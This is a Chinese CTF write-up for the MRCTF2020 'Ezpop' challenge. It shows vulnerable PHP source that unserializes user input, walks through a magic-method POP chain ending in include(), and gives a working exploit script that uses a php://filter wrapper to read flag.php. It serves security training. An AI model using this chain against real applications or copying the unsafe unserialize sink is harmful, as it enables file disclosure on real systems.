首页 > 其他 > 详细

[MRCTF2020]Ezpop

时间:2020-10-09 20:23:27      阅读:31      评论:0      收藏:0      [点我收藏+]
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file=‘index.php‘){
        $this->source = $file;
        echo ‘Welcome to ‘.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET[‘pop‘])){
    @unserialize($_GET[‘pop‘]);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54

直接给出了一段源码

技术分享图片
明显的反序列化题目,找找高危函数
看到 Modifier这个类
技术分享图片
include()这个函数常用于文件包含,而想要调用这个函数,我们需要调用__invoke()这个魔术方法,而这个魔术方法有个特性
技术分享图片

再看到Test这个类
技术分享图片
当访问和设置未定义和已经订定义但关键字为’private,protected’属性时会自动调用__get(),__set()方法。
同时__get()这个魔术方法返回了一个函数

看到Show类
有个__construct()魔术方法
创建新对象的时候会自动调用这个方法

 public function __construct($file=‘index.php‘){
        $this->source = $file;
        echo ‘Welcome to ‘.$this->source."<br>";
    }
  • 1
  • 2
  • 3
  • 4

还有__toString() 这个魔术方法
当echo 一个对象时会自动触发__toString()魔术方法

  public function __toString(){
        return $this->str->source;
    }
  • 1
  • 2
  • 3

而他返回了$this->str->source;

所以要echo include()里的内容
得让source等于一个对象

思路如下:

  1. 调用include()函数,让Test类中的属性p等于Modifier这个类,从而触发__get()魔术方法
    将Modifier这个类变成一个函数,从而调用__invoke()方法,进而调用include()函数

  2. 让source 等于对象,进而触发__toString方法,输出内容

exp如下

<?php
class Modifier {
	protected  $var="php://filter/read=convert.base64-encode/resource=flag.php";

}


class Test{
    public $p;
	
}

class Show{
    public $source;
    public $str;
    public function __construct(){
        $this->str = new Test();
    }
}


$a = new Show();
$a->source = new Show();
$a->source->str->p = new Modifier();


echo urlencode(serialize($a));

?>

 

[MRCTF2020]Ezpop

原文:https://www.cnblogs.com/huhuf6/p/13787163.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!